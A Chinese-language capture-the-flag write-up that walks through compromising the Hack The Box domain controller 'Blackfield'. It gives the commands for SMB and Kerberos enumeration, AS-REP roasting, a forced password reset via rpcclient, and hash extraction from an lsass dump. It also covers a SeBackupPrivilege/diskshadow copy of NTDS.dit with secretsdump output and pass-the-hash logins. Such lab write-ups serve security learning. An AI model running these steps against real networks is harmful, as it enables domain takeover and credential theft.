Active Directory 101-Blackfield
Blackfield
前言
继续AD域的靶机。这是一台hard难度的靶机 这也是我在HTB做的第一台hard靶机 以前主要做的是easy 和medium难度的。做了好久。
信息收集
还是一上来使用nmap扫描一下端口的信息。
nmap -sC -sV -p- 10.10.10.192 -oA nmap——Blackfield
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-06 11:44 CST
Nmap scan report for 10.10.10.192
Host is up (0.33s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-06 10:58:07Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m54s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-12-06T10:58:29
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 911.28 seconds
通过扫描得到了一些敏感端口 53 88 445等。
简单尝试了一下DNS枚举和 kerberos枚举没有得到什么有用的信息,尝试一下SMB枚举。
SMB枚举
crackmapexec smb 10.10.10.192 -u "" -p "" --shares
smbmap -u guess -H 10.10.10.192
得到一些smb的共享服务。选择可匿名访问的。
smbclient -U guest //10.10.10.192/profiles\$

目录下一堆类似于用户名的东西。将这些保存下来进行kerberos用户名枚举。
./kerbrute_linux_amd64 userenum --dc 10.10.10.192 -d blackfield.local /root/HTB/Blackfield/users.txt

枚举出来了存在的用户名。
AS-REP Roasting
将得到的信息保存到新的文件中 尝试进行 AS-REP Roasting 。主要是通过没有进行预认证操作的用户 获得账号密码。
GetNPUsers.py -no-pass -dc-ip 10.10.10.161 blackfield.local/ -usersfile user.txt
我们发现support没有设置预认证,我们拿到了其AS-REP的票据 通过john解密。

得到了账号密码。但是经过尝试和之前的共享目录的权限是一样的。
Blood信息收集
这里由于权限原因 使用的是python版blood。进行信息收集。
bloodhound-python -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192 -c DcOnly
通过这条命令可进行信息收集。
然后通过blood进行信息分析。

可以看出 这里可以修改 support用户可以修改adui2020用户的密码。
ForceChangePassword权限滥用实现横向移动
rpcclient -U support //10.10.10.192
Password for [WORKGROUP\support]:
rpcclient $> ls
command not found: ls
rpcclient $> setuserinfo2 audit2020 23 'white0123'
result: NT_STATUS_PASSWORD_RESTRICTION
result was NT_STATUS_PASSWORD_RESTRICTION
rpcclient $> setuserinfo2 audit2020 23 'white0123#'
rpcclient $>
修改密码。
查看一下权限的变化。

相比较于之前的多了一个forensic访问权限。
进去看一下。

得到一些敏感信息 其中包含了administrator的密码。但是经过尝试 发现不正确。
利用Lsass内存捕获文件提取用户hash
其中有一个lsass,zip文件这是一个内存文件 可能会存在密码hash。将其下载下来使用密码提取工具 提取出来。

出现了这三个 只有最后一个才可以成功。
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

成功登录。
利用SeBackupPrivilege权限进行NTDS.dt卷影拷贝实现权限提升
攻击的步骤大概分三步
- 获取文件副本,`NTDS.dit`即存储 Active Directory 用户凭据的数据库。
- 接下来,我们将获取 SYSTEM hive 文件,其中包含解密 NTDS.dit 所必需的系统启动密钥
- 使用 Impacket 的 secretsdump 脚本从 NTDS.dit 中提取域中所有用户的 NTLM 哈希
通过我们之前导入的bloodhound的分析结果,我们得知该用户属于backup_operators组的成员
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==============================
=======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
此时我们知道了我们拥有SEBackupPrivilege 权限,所以我们可以通过使用签名的二进制文件创建 NTDS.dit 的卷影副本来完成diskshadow 首先,创建一个名为 script.txt 的文本文件,其中包含以下内容:
{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% w:
end backup
}
然后执行diskshadow 并使用脚本文件作为其输入,接着我们可以使用这个https://github.com/giuliano108/SeBackupPrivilege提供的两个dll文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本
*Evil-WinRM* PS C:\Users\svc_backup\music>diskshadow /s script.txt
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeCmdLets.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeUtils.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\music\ntds.dit -Overwrite
*Evil-WinRM* PS C:\Users\svc_backup\music> reg save HKLM\SYSTEM c:\users\svc_backup\music\system.hive
*Evil-WinRM* PS C:\Users\svc_backup\music>download ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\music>download system.hive
我现在可以使用Evil-WinRM’s
下载功能下载 NTDS.dit 和 system.hive 文件。然后,使用Impacket’s
secretsdump.py 解析 NTDS.dit:
secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out
cat secretsdump.out
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:4c67bfbc7834b2f39fae7138f717dcbd:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
[..SNIP..]
使用wmiexec进行PTH
通过上面secretsdump分析的结果,我们可以看到管理员的hash ,那么现在我们可以通过wmiexec.py通过hash来登录到管理员账户
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192

总结
这是一台困难难度的靶机 做的过程中还看了官方的WP。首先是通过SMB共享的到共享目录 、在目录下面得到了一些类似于用户名的文件,使用kerberos枚举 得到了存在的三个用户名 对三个用户名尝试进行AS-REP Roasting 最后得到并破解了support的账号密码 通过pyhthon版的blood得到了域的分析图,后来发现 audi2020用户的密码可以被support用户修改 通过修改密码实现访问以前没有访问的smb共享。在里面发现了lsass文件,提取出了密码,通过hash实现了登录。最后提升权限那里 一开始真的没有思路 最后看官方的WP 和南城夕雾师傅的WP 发现该用户具有SEBackupPrivilege 权限,然后我们通过滥用备份操作员的角色下载了NTDS.dt文件的副本并从中提取到了管理员的NT哈希,最后通过wmiexec.py进行PTH拿到了管理员shell。这台靶机还是挺有深度的,相较于之前的难度有了一定的提升。通过这台靶机 也反应了我对于blood的一些使用 还不太熟练。以及渗透手法 还不够多。